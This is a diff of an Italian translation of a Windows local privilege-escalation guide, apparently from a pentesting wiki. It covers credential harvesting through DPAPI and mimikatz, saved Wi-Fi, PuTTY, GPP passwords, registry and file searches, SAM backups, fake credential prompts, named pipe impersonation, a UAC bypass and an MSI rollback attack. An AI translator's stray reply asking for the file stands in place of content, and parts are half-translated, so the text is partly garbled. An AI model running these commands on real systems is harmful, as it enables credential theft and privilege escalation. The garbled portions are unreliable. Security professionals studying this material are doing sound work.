segreto dell'utente o del sistema per contribuire in modo significativo all'entropia. -**DPAPI consente la crittografia delle chiavi tramite una chiave simmetrica derivata dai segreti di login dell'utente**. In scenari di crittografia di sistema, utilizza i segreti di autenticazione di dominio del sistema. +**DPAPI consente la cifratura delle chiavi tramite una chiave simmetrica derivata dai segreti di login dell'utente**. In scenari di cifratura di sistema, utilizza i segreti di autenticazione del dominio del sistema. -Le chiavi RSA utente cifrate, tramite DPAPI, sono memorizzate nella directory `%APPDATA%\Microsoft\Protect\{SID}`, dove `{SID}` rappresenta il [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier) dell'utente. **La DPAPI key, co-located con la master key che tutela le chiavi private dell'utente nello stesso file**, consiste tipicamente di 64 byte di dati casuali. (È importante notare che l'accesso a questa directory è ristretto, impedendo di elencarne il contenuto tramite il comando `dir` in CMD, sebbene possa essere elencata tramite PowerShell). +Le chiavi RSA utente cifrate, usando DPAPI, sono memorizzate nella directory %APPDATA%\Microsoft\Protect\{SID}, dove {SID} rappresenta il [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier) dell'utente. **La chiave DPAPI, collocata insieme alla chiave master che protegge le chiavi private dell'utente nello stesso file**, è tipicamente costituita da 64 byte di dati casuali. (È importante notare che l'accesso a questa directory è ristretto, impedendo di elencarne il contenuto con il comando `dir` in CMD, anche se può essere elencata tramite PowerShell). ```bash Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\ ``` -Puoi usare **mimikatz module** `dpapi::masterkey` con gli argomenti appropriati (`/pvk` o `/rpc`) per decifrarlo. +Puoi usare il **mimikatz module** `dpapi::masterkey` con gli argomenti appropriati (`/pvk` o `/rpc`) per decrittarlo. -I file delle **credenziali protette dalla master password** si trovano solitamente in: +I **file delle credenziali protetti dalla master password** si trovano solitamente in: ```bash dir C:\Users\username\AppData\Local\Microsoft\Credentials\ dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\ ``` -Puoi usare **mimikatz module** `dpapi::cred` con il appropiate `/masterkey` per decriptare.\ -Puoi **estrarre molte DPAPI** **masterkeys** dalla **memoria** con il modulo `sekurlsa::dpapi` (se sei root). +Puoi usare **mimikatz module** `dpapi::cred` con l'appropriato `/masterkey` per decifrare.\ +Puoi estrarre molti **DPAPI** **masterkeys** dalla **memory** con il modulo `sekurlsa::dpapi` (se sei root). {{#ref}} @@ -788,9 +796,9 @@ dpapi-extracting-passwords.md ### PowerShell Credentials -Le **PowerShell credentials** sono spesso usate per attività di **scripting** e automazione come modo pratico per memorizzare credenziali criptate. Le credenziali sono protette usando **DPAPI**, il che in genere significa che possono essere decriptate solo dallo stesso utente sullo stesso computer su cui sono state create. +**PowerShell credentials** sono spesso usate per attività di **scripting** e automazione come modo pratico per memorizzare credenziali crittografate. Le credenziali sono protette tramite **DPAPI**, il che di solito significa che possono essere decifrate solo dallo stesso utente sullo stesso computer sul quale sono state create. -Per **decriptare** una PS credentials dal file che la contiene puoi fare: +Per **decifrare** una PS credentials dal file che la contiene puoi fare: ```bash PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml' PS C:\> $credential.GetNetworkCredential().username @@ -801,7 +809,7 @@ PS C:\htb> $credential.GetNetworkCredential().password JustAPWD! ``` -### Wi-Fi +### Wifi ```bash #List saved Wifi using netsh wlan show profile @@ -812,7 +820,7 @@ cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| ``` ### Connessioni RDP salvate -Si trovano in `HKEY_USERS\\Software\Microsoft\Terminal Server Client\Servers\`\ +Puoi trovarle in `HKEY_USERS\\Software\Microsoft\Terminal Server Client\Servers\`\ e in `HKCU\Software\Microsoft\Terminal Server Client\Servers\` ### Comandi eseguiti di recente @@ -824,18 +832,18 @@ HKCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU ``` %localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings ``` -Usa il modulo **Mimikatz** `dpapi::rdg` con il `/masterkey` appropriato per **decriptare qualsiasi file .rdg**\ -Puoi **estrarre molte DPAPI masterkeys** dalla memoria con il modulo Mimikatz `sekurlsa::dpapi` +Usa il modulo **Mimikatz** `dpapi::rdg` con il `/masterkey` appropriato per **decrypt any .rdg files**\ +Puoi **extract many DPAPI masterkeys** dalla memoria con il modulo Mimikatz `sekurlsa::dpapi` ### Sticky Notes -Spesso gli utenti usano l'app StickyNotes sui workstation Windows per **salvare password** e altre informazioni, senza rendersi conto che è un file di database. Questo file è situato in `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` ed è sempre opportuno cercarlo ed esaminarlo. +Spesso le persone usano l'app StickyNotes su workstation Windows per **save passwords** e altre informazioni, senza rendersi conto che è un file di database. Questo file si trova in `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` ed è sempre utile cercarlo ed esaminarlo. ### AppCmd.exe -**Nota che per recuperare le password da AppCmd.exe è necessario essere Administrator ed eseguire con High Integrity level.**\ +**Nota che per recover passwords da AppCmd.exe devi essere Administrator ed eseguirlo con High Integrity level.**\ **AppCmd.exe** si trova nella directory `%systemroot%\system32\inetsrv\`.\ -Se questo file esiste, è possibile che siano state configurate alcune **credentials** e che possano essere **recuperate**. +Se questo file esiste allora è possibile che alcune **credentials** siano state configurate e possano essere **recovered**. Questo codice è stato estratto da [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1): ```bash @@ -918,13 +926,13 @@ $ErrorActionPreference = $OrigError ### SCClient / SCCM Verifica se `C:\Windows\CCM\SCClient.exe` esiste .\ -Installers vengono **eseguiti con privilegi SYSTEM**, molti sono vulnerabili a **DLL Sideloading (Info from** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** +Gli installer vengono **eseguiti con privilegi SYSTEM**, molti sono vulnerabili a **DLL Sideloading (Info da** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** ```bash $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion if ($result) { $result } else { Write "Not Installed." } ``` -## File e Registro (Credentials) +## File e Registry (Credentials) ### Putty Creds ```bash @@ -936,21 +944,21 @@ reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\ ``` ### SSH keys nel registro -Le SSH private keys possono essere memorizzate nella chiave di registro `HKCU\Software\OpenSSH\Agent\Keys`, quindi dovresti verificare se c'è qualcosa di interessante lì: +Le SSH private keys possono essere memorizzate nella chiave del registro `HKCU\Software\OpenSSH\Agent\Keys`, quindi dovresti controllare se c'è qualcosa di interessante lì: ```bash reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys' ``` -Se trovi una voce all'interno di quel percorso sarà probabilmente una SSH key salvata. È memorizzata crittografata ma può essere facilmente decrittata usando [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\ -Ulteriori informazioni su questa tecnica qui: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) +Se trovi qualsiasi voce all'interno di quel percorso sarà probabilmente una SSH key salvata. È memorizzata criptata ma può essere facilmente decrittata usando [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\ +Maggiori informazioni su questa tecnica qui: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) -Se il servizio `ssh-agent` non è in esecuzione e vuoi che si avvii automaticamente all'avvio esegui: +Se il servizio `ssh-agent` non è in esecuzione e vuoi che si avvii automaticamente all'avvio, esegui: ```bash Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service ``` > [!TIP] -> Sembra che questa tecnica non sia più valida. Ho provato a creare alcune ssh keys, aggiungerle con `ssh-add` e accedere via ssh a una macchina. Il registro HKCU\Software\OpenSSH\Agent\Keys non esiste e procmon non ha identificato l'uso di `dpapi.dll` durante l'autenticazione con chiave asimmetrica. +> Sembra che questa tecnica non sia più valida. Ho provato a creare alcune ssh keys, aggiungerle con `ssh-add` e accedere via ssh a una macchina. La chiave di registro HKCU\Software\OpenSSH\Agent\Keys non esiste e procmon non ha identificato l'uso di `dpapi.dll` durante l'autenticazione con chiave asimmetrica. -### File incustoditi +### File non presidiati ``` C:\Windows\sysprep\sysprep.xml C:\Windows\sysprep\sysprep.inf @@ -986,7 +994,7 @@ Esempio di contenuto: ``` -### Backup di SAM & SYSTEM +### SAM & SYSTEM copie di backup ```bash # Usually %SYSTEMROOT% = C:\Windows %SYSTEMROOT%\repair\SAM @@ -1008,13 +1016,11 @@ AppData\Roaming\gcloud\access_tokens.db ``` ### McAfee SiteList.xml -Cerca un file chiamato **SiteList.xml** +### Password GPP memorizzate nella cache -### Cached GPP Pasword +Una funzionalità era disponibile in passato che permetteva il deployment di account amministratore locale personalizzati su un gruppo di macchine tramite Group Policy Preferences (GPP). Tuttavia, questo metodo presentava gravi problemi di sicurezza. In primo luogo, i Group Policy Objects (GPOs), memorizzati come file XML in SYSVOL, potevano essere accessi da qualsiasi utente di dominio. In secondo luogo, le password all'interno di questi GPP, criptate con AES256 usando una chiave di default pubblicamente documentata, potevano essere decriptate da qualsiasi utente autenticato. Ciò rappresentava un rischio serio, poiché poteva permettere a utenti di ottenere privilegi elevati. -Una funzionalità era precedentemente disponibile che permetteva il deployment di account amministratore locale personalizzati su un gruppo di macchine tramite Group Policy Preferences (GPP). Tuttavia, questo metodo presentava gravi problemi di sicurezza. In primo luogo, i Group Policy Objects (GPOs), memorizzati come file XML in SYSVOL, potevano essere accessibili da qualsiasi utente di dominio. In secondo luogo, le password all'interno di questi GPP, criptate con AES256 usando una key di default documentata pubblicamente, potevano essere decriptate da qualsiasi utente autenticato. Questo rappresentava un rischio serio, in quanto poteva permettere agli utenti di ottenere privilegi elevati. - -Per mitigare questo rischio, è stata sviluppata una funzione per scanare i file GPP memorizzati localmente che contengono un campo "cpassword" non vuoto. Al rilevamento di tale file, la funzione decripta la password e restituisce un oggetto PowerShell custom. Questo oggetto include dettagli sul GPP e sulla posizione del file, aiutando nell'identificazione e nella remediation di questa vulnerabilità di sicurezza. +Per mitigare questo rischio, è stata sviluppata una funzione per cercare file GPP memorizzati localmente contenenti un campo "cpassword" non vuoto. Quando trova un tale file, la funzione decripta la password e restituisce un oggetto PowerShell personalizzato. Questo oggetto include dettagli sul GPP e sulla posizione del file, aiutando nell'identificazione e nella correzione di questa vulnerabilità di sicurezza. Search in `C:\ProgramData\Microsoft\Group Policy\history` or in _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (previous to W Vista)_ for these files: @@ -1025,16 +1031,16 @@ Search in `C:\ProgramData\Microsoft\Group Policy\history` or in _**C:\Documents - Printers.xml - Drives.xml -**To decrypt the cPassword:** +**Per decrittare il campo cPassword:** ```bash #To decrypt these passwords you can decrypt it using gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw ``` -Usare crackmapexec per ottenere le password: +Usando crackmapexec per ottenere le password: ```bash crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin ``` -### Configurazione Web IIS +### IIS Web Config ```bash Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue ``` @@ -1058,7 +1064,7 @@ Esempio di web.config con credenziali: ``` -### Credenziali OpenVPN +### OpenVPN credenziali ```csharp Add-Type -AssemblyName System.Security $keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs" @@ -1078,7 +1084,7 @@ $entropy, Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes)) } ``` -### Registri +### Logs ```bash # IIS C:\inetpub\logs\LogFiles\* @@ -1086,7 +1092,7 @@ C:\inetpub\logs\LogFiles\* #Apache Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue ``` -### Richiedere le credentials +### Chiedere le credenziali Puoi sempre **chiedere all'utente di inserire le sue credentials o anche le credentials di un altro utente** se pensi che le possa conoscere (nota che **chiedere** direttamente al client le **credentials** è davvero **rischioso**): ```bash @@ -1096,9 +1102,9 @@ $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::U #Get plaintext $cred.GetNetworkCredential() | fl ``` -### **Possibili nomi di file contenenti credentials** +### **Possibili nomi di file contenenti credenziali** -File noti che qualche tempo fa contenevano **passwords** in **clear-text** o **Base64** +File noti che qualche tempo fa contenevano **password** in **clear-text** o **Base64** ```bash $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history vnc.ini, ultravnc.ini, *vnc* @@ -1162,7 +1168,9 @@ TypedURLs #IE %USERPROFILE%\ntuser.dat %USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat ``` -Non ho accesso al filesystem. Per favore incolla il contenuto di src/windows-hardening/windows-local-privilege-escalation/README.md che vuoi tradurre, e tradurrò il testo pertinente in italiano mantenendo markdown, tag e link invariati come richiesto. +Non ho accesso al tuo repository locale. Per procedere, incolla qui il contenuto di src/windows-hardening/windows-local-privilege-escalation/README.md (o dei file che vuoi che io traduca). + +Tradurrò il testo rilevante in italiano mantenendo esattamente la stessa sintassi Markdown/HTML, senza tradurre code, nomi di tecniche, link, path o tag come indicato. ``` cd C:\ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll" @@ -1171,15 +1179,15 @@ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd ``` Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")} ``` -### Credenziali nel Cestino +### Credenziali nel RecycleBin -Dovresti anche controllare il Cestino per cercare credenziali al suo interno +Dovresti anche controllare il Bin per trovare eventuali credenziali al suo interno Per **recuperare le password** salvate da diversi programmi puoi usare: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) ### All'interno del registro -**Altre possibili chiavi del registro contenenti credenziali** +**Altre possibili chiavi di registro con credenziali** ```bash reg query "HKCU\Software\ORL\WinVNC3\Password" reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s @@ -1190,10 +1198,10 @@ reg query "HKCU\Software\OpenSSH\Agent\Key" ### Cronologia dei browser -Dovresti cercare nei db dove sono memorizzate le password di **Chrome or Firefox**. -Controlla anche la cronologia, i segnalibri e i preferiti dei browser, perché magari alcune **password** sono memorizzate lì. +Dovresti cercare i db dove sono memorizzate le **passwords** di **Chrome o Firefox**.\ +Controlla anche la cronologia, i bookmarks e i preferiti dei browser perché potrebbero essere salvate lì alcune **passwords**. -Strumenti per estrarre le password dai browser: +Strumenti per estrarre passwords dai browser: - Mimikatz: `dpapi::chrome` - [**SharpWeb**](https://github.com/djhohnstein/SharpWeb) @@ -1202,15 +1210,15 @@ Strumenti per estrarre le password dai browser: ### **COM DLL Overwriting** -Component Object Model (COM) è una tecnologia integrata nel sistema operativo Windows che permette l'intercomunicazione tra componenti software scritti in linguaggi diversi. Ogni componente COM è **identificato tramite un class ID (CLSID)** e ogni componente espone funzionalità tramite una o più interfacce, identificate tramite interface IDs (IIDs). +Component Object Model (COM) è una tecnologia integrata nel sistema operativo Windows che permette l'intercomunicazione tra componenti software scritti in linguaggi differenti. Ogni componente COM è identificato tramite un class ID (CLSID) e ogni componente espone funzionalità tramite una o più interfacce, identificate tramite interface IDs (IIDs). -Le classi e le interfacce COM sono definite nel registro sotto **HKEY\CLASSES\ROOT\CLSID** e **HKEY\CLASSES\ROOT\Interface** rispettivamente. Questo registro viene creato unendo **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT.** +COM classes and interfaces are defined in the registry under **HKEY\CLASSES\ROOT\CLSID** and **HKEY\CLASSES\ROOT\Interface** respectively. This registry is created by merging the **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT.** -All'interno dei CLSID in questo registro puoi trovare la sottochiave InProcServer32 che contiene un valore di default che punta a una DLL e un valore chiamato ThreadingModel che può essere Apartment (Single-Threaded), Free (Multi-Threaded), Both (Single or Multi) o Neutral (Thread Neutral). +Inside the CLSIDs of this registry you can find the child registry **InProcServer32** which contains a **default value** pointing to a **DLL** and a value called **ThreadingModel** that can be **Apartment** (Single-Threaded), **Free** (Multi-Threaded), **Both** (Single or Multi) or **Neutral** (Thread Neutral). ![](<../../images/image (729).png>) -In pratica, se riesci a sovrascrivere una delle DLL che verranno eseguite, potresti escalate privileges se tale DLL viene eseguita da un utente diverso. +In pratica, se riesci a sovrascrivere una delle DLL che verranno eseguite, potresti escalate privileges se quella DLL viene eseguita da un utente differente. Per capire come gli attaccanti usano COM Hijacking come meccanismo di persistenza, consulta: @@ -1219,9 +1227,9 @@ Per capire come gli attaccanti usano COM Hijacking come meccanismo di persistenz com-hijacking.md {{#endref}} -### Ricerca generica di password in file e registro +### **Generic Password search in files and registry** -**Cerca nel contenuto dei file** +**Search for file contents** ```bash cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt findstr /si password *.xml *.ini *.txt *.config @@ -1233,20 +1241,20 @@ dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* where /R C:\ user.txt where /R C:\ *.ini ``` -**Cerca nel registry i nomi delle chiavi e le password** +**Cerca nel registro nomi di chiavi e password** ```bash REG QUERY HKLM /F "password" /t REG_SZ /S /K REG QUERY HKCU /F "password" /t REG_SZ /S /K REG QUERY HKLM /F "password" /t REG_SZ /S /d REG QUERY HKCU /F "password" /t REG_SZ /S /d ``` -### Strumenti che cercano passwords +### Strumenti che cercano password -[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **è un plugin di msf** che ho creato per **eseguire automaticamente ogni metasploit POST module che cerca credentials** all'interno della vittima.\ -[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) cerca automaticamente tutti i file che contengono passwords menzionati in questa pagina.\ -[**Lazagne**](https://github.com/AlessandroZ/LaZagne) è un altro ottimo strumento per estrarre password da un sistema. +[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **is a msf** plugin; l'ho creato per **eseguire automaticamente tutti i metasploit POST module che cercano credentials** all'interno della vittima.\ +[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) cerca automaticamente tutti i file che contengono password menzionati in questa pagina.\ +[**Lazagne**](https://github.com/AlessandroZ/LaZagne) è un altro ottimo tool per estrarre password da un sistema. -Lo strumento [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) cerca **sessions**, **usernames** e **passwords** di diversi strumenti che salvano questi dati in chiaro (PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP) +Lo strumento [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) cerca **sessions**, **usernames** e **passwords** di diversi tool che salvano questi dati in chiaro (PuTTY, WinSCP, FileZilla, SuperPuTTY, e RDP) ```bash Import-Module path\to\SessionGopher.ps1; Invoke-SessionGopher -Thorough @@ -1255,30 +1263,30 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss ``` ## Leaked Handlers -Immagina che **un processo in esecuzione come SYSTEM apra un nuovo processo** (`OpenProcess()`) con **accesso completo**. Lo stesso processo **crei anche un nuovo processo** (`CreateProcess()`) **con privilegi bassi ma che eredita tutti gli handle aperti del processo principale**.\ -Quindi, se hai **accesso completo al processo a basso privilegio**, puoi prendere lo **handle aperto verso il processo privilegiato creato** con `OpenProcess()` e **iniettare uno shellcode**.\ -[Leggi questo esempio per maggiori informazioni su **come individuare e sfruttare questa vulnerabilità**.](leaked-handle-exploitation.md)\ +Immagina che **un processo in esecuzione come SYSTEM apra un nuovo processo** (`OpenProcess()`) con **accesso completo**. Lo stesso processo **crei anche un nuovo processo** (`CreateProcess()`) **con privilegi ridotti ma che eredita tutti gli handle aperti del processo principale**.\ +Quindi, se hai **accesso completo al processo con privilegi ridotti**, puoi ottenere lo **handle aperto per il processo privilegiato creato** con `OpenProcess()` e **iniettare uno shellcode**.\ +[Leggi questo esempio per maggiori informazioni su **come rilevare e sfruttare questa vulnerabilità**.](leaked-handle-exploitation.md)\ [Leggi questo **altro post per una spiegazione più completa su come testare e abusare di più open handlers di processi e thread ereditati con diversi livelli di permessi (non solo accesso completo)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). ## Named Pipe Client Impersonation -I segmenti di memoria condivisa, detti **pipes**, permettono la comunicazione tra processi e il trasferimento di dati. +I segmenti di memoria condivisa, noti come **pipes**, permettono la comunicazione tra processi e il trasferimento di dati. -Windows fornisce una funzionalità chiamata **Named Pipes**, che permette a processi non correlati di scambiare dati, anche su reti diverse. Questo è simile a un'architettura client/server, con i ruoli definiti come **named pipe server** e **named pipe client**. +Windows fornisce la funzionalità chiamata **Named Pipes**, che permette a processi non correlati di condividere dati, anche su reti diverse. Questo ricorda un'architettura client/server, con ruoli definiti come **named pipe server** e **named pipe client**. -Quando i dati vengono inviati tramite una pipe da un **client**, il **server** che ha creato la pipe ha la possibilità di **assumere l'identità** del **client**, a condizione che possieda i diritti **SeImpersonate** necessari. Individuare un **processo privilegiato** che comunica tramite una pipe che puoi imitare offre l'opportunità di **ottenere privilegi elevati** adottando l'identità di quel processo quando interagisce con la pipe che hai creato. Per istruzioni su come eseguire tale attacco, sono utili le guide [**qui**](named-pipe-client-impersonation.md) e [**qui**](#from-high-integrity-to-system). +Quando i dati vengono inviati attraverso una pipe da un **client**, il **server** che ha creato la pipe ha la possibilità di **assumere l'identità** del **client**, a condizione che disponga dei diritti **SeImpersonate** necessari. Individuare un **processo privilegiato** che comunica tramite una pipe che puoi emulare offre l'opportunità di **ottenere privilegi più elevati** assumendo l'identità di quel processo quando interagisce con la pipe che hai creato. Per istruzioni su come eseguire questo attacco, guide utili si trovano [**qui**](named-pipe-client-impersonation.md) e [**qui**](#from-high-integrity-to-system). -Inoltre il seguente tool permette di **intercettare una comunicazione tramite named pipe con uno strumento come burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **e questo tool permette di elencare e vedere tutte le pipe per trovare privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) +Inoltre, il seguente tool permette di **intercettare una comunicazione named pipe con uno strumento come burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **e questo tool permette di elencare e visualizzare tutte le pipe per trovare privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) ## Varie -### Estensioni di file che possono eseguire codice in Windows +### Estensioni di file che potrebbero eseguire codice su Windows -Consulta la pagina **[https://filesec.io/](https://filesec.io/)** +Dai un'occhiata alla pagina **[https://filesec.io/](https://filesec.io/)** -### **Monitoraggio delle righe di comando per password** +### **Monitoraggio delle command line per password** -Quando si ottiene una shell come utente, possono esserci task pianificati o altri processi in esecuzione che **passano credenziali sulla riga di comando**. Lo script sottostante cattura le righe di comando dei processi ogni due secondi e confronta lo stato corrente con quello precedente, visualizzando le eventuali differenze. +Quando si ottiene una shell come utente, potrebbero esserci task pianificati o altri processi in esecuzione che **passano credenziali sulla command line**. Lo script qui sotto cattura le command line dei processi ogni due secondi e confronta lo stato corrente con quello precedente, stampando eventuali differenze. ```bash while($true) { @@ -1292,9 +1300,9 @@ Compare-Object -ReferenceObject $process -DifferenceObject $process2 ## Da Low Priv User a NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass -Se hai accesso all'interfaccia grafica (tramite console o RDP) e UAC è abilitato, in alcune versioni di Microsoft Windows è possibile eseguire un terminale o qualsiasi altro processo come "NT\AUTHORITY SYSTEM" partendo da un utente non privilegiato. +Se hai accesso all'interfaccia grafica (via console o RDP) e UAC è abilitato, in alcune versioni di Microsoft Windows è possibile eseguire un terminale o qualsiasi altro processo come "NT\AUTHORITY SYSTEM" partendo da un utente non privilegiato. -Questo rende possibile elevare i privilegi e bypassare UAC contemporaneamente con la stessa vulnerabilità. Inoltre non è necessario installare nulla e il binario usato durante il processo è firmato e rilasciato da Microsoft. +Questo rende possibile elevare i privilegi e bypassare UAC allo stesso tempo con la stessa vulnerabilità. Inoltre, non è necessario installare nulla e il binario usato durante il processo è firmato e rilasciato da Microsoft. Alcuni dei sistemi interessati sono i seguenti: ``` @@ -1336,133 +1344,137 @@ Per sfruttare questa vulnerabilità, è necessario eseguire i seguenti passaggi: 8) Remember to cancel setup and the UAC prompt to return to your desktop. ``` -## Da Administrator Medium a High Integrity Level / UAC Bypass +You have all the necessary files and information in the following GitHub repository: -Leggi questo per **imparare i livelli di integrità**: +https://github.com/jas502n/CVE-2019-1388 + +## From Administrator Medium to High Integrity Level / UAC Bypass + +Read this to **learn about Integrity Levels**: {{#ref}} integrity-levels.md {{#endref}} -Poi **leggi questo per imparare su UAC e i bypass UAC:** +Then **read this to learn about UAC and UAC bypasses:** {{#ref}} ../authentication-credentials-uac-and-efs/uac-user-account-control.md {{#endref}} -## Da Eliminazione/Spostamento/Rinominazione Arbitraria di Cartella a SYSTEM EoP +## From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP La tecnica descritta [**in this blog post**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) con un exploit code [**available here**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs). -L'attacco consiste fondamentalmente nell'abusare della funzionalità di rollback di Windows Installer per sostituire file legittimi con file malevoli durante il processo di disinstallazione. Per questo l'attaccante deve creare un **malicious MSI installer** che verrà usato per hijackare la cartella `C:\Config.Msi`, che in seguito verrà usata dal Windows Installer per salvare i file di rollback durante la disinstallazione di altri pacchetti MSI, dove i file di rollback sarebbero stati modificati per contenere il payload malevolo. +L'attacco consiste fondamentalmente nell'abusare della funzionalità di rollback di Windows Installer per sostituire file legittimi con file malevoli durante il processo di uninstall. Per questo l'attaccante deve creare un **malicious MSI installer** che sarà usato per hijackare la cartella `C:\Config.Msi`, che poi verrà usata da Windows Installer per salvare i file di rollback durante la disinstallazione di altri pacchetti MSI, dove i file di rollback saranno stati modificati per contenere il payload malevolo. La tecnica riassunta è la seguente: -1. **Stage 1 – Preparazione per l'Hijack (lasciare `C:\Config.Msi` vuota)** +1. **Stage 1 – Preparing for the Hijack (leave `C:\Config.Msi` empty)** -- Passo 1: Installa l'MSI -- Crea un `.msi` che installa un file innocuo (es. `dummy.txt`) in una cartella scrivibile (`TARGETDIR`). -- Marca l'installer come **"UAC Compliant"**, così un **utente non amministratore** può eseguirlo. -- Mantieni un **handle** aperto sul file dopo l'installazione. +- Step 1: Install the MSI +- Create an `.msi` that installs a harmless file (e.g., `dummy.txt`) in a writable folder (`TARGETDIR`). +- Mark the installer as **"UAC Compliant"**, so a **non-admin user** can run it. +- Keep a **handle** open to the file after install. -- Passo 2: Inizia la disinstallazione -- Disinstalla lo stesso `.msi`. -- Il processo di disinstallazione inizia a spostare file in `C:\Config.Msi` e a rinominarli in file `.rbf` (backup di rollback). -- **Interroga l'handle del file aperto** usando `GetFinalPathNameByHandle` per rilevare quando il file diventa `C:\Config.Msi\.rbf`. +- Step 2: Begin Uninstall +- Uninstall the same `.msi`. +- The uninstall process starts moving files to `C:\Config.Msi` and renaming them to `.rbf` files (rollback backups). +- **Poll the open file handle** using `GetFinalPathNameByHandle` to detect when the file becomes `C:\Config.Msi\.rbf`. -- Passo 3: Sincronizzazione personalizzata -- Il `.msi` include una **custom uninstall action (`SyncOnRbfWritten`)** che: -- Segnala quando `.rbf` è stato scritto. -- Poi **attende** un altro evento prima di continuare la disinstallazione. +- Step 3: Custom Syncing +- The `.msi` includes a **custom uninstall action (`SyncOnRbfWritten`)** that: +- Signals when `.rbf` has been written. +- Then **waits** on another event before continuing the uninstall. -- Passo 4: Bloccare la cancellazione di `.rbf` -- Quando viene segnalato, **apri il file `.rbf`** senza `FILE_SHARE_DELETE` — questo **impedisce che venga cancellato**. -- Quindi **invia il segnale di ritorno** così la disinstallazione può completarsi. -- Windows Installer non riesce a cancellare il `.rbf`, e poiché non può cancellare tutti i 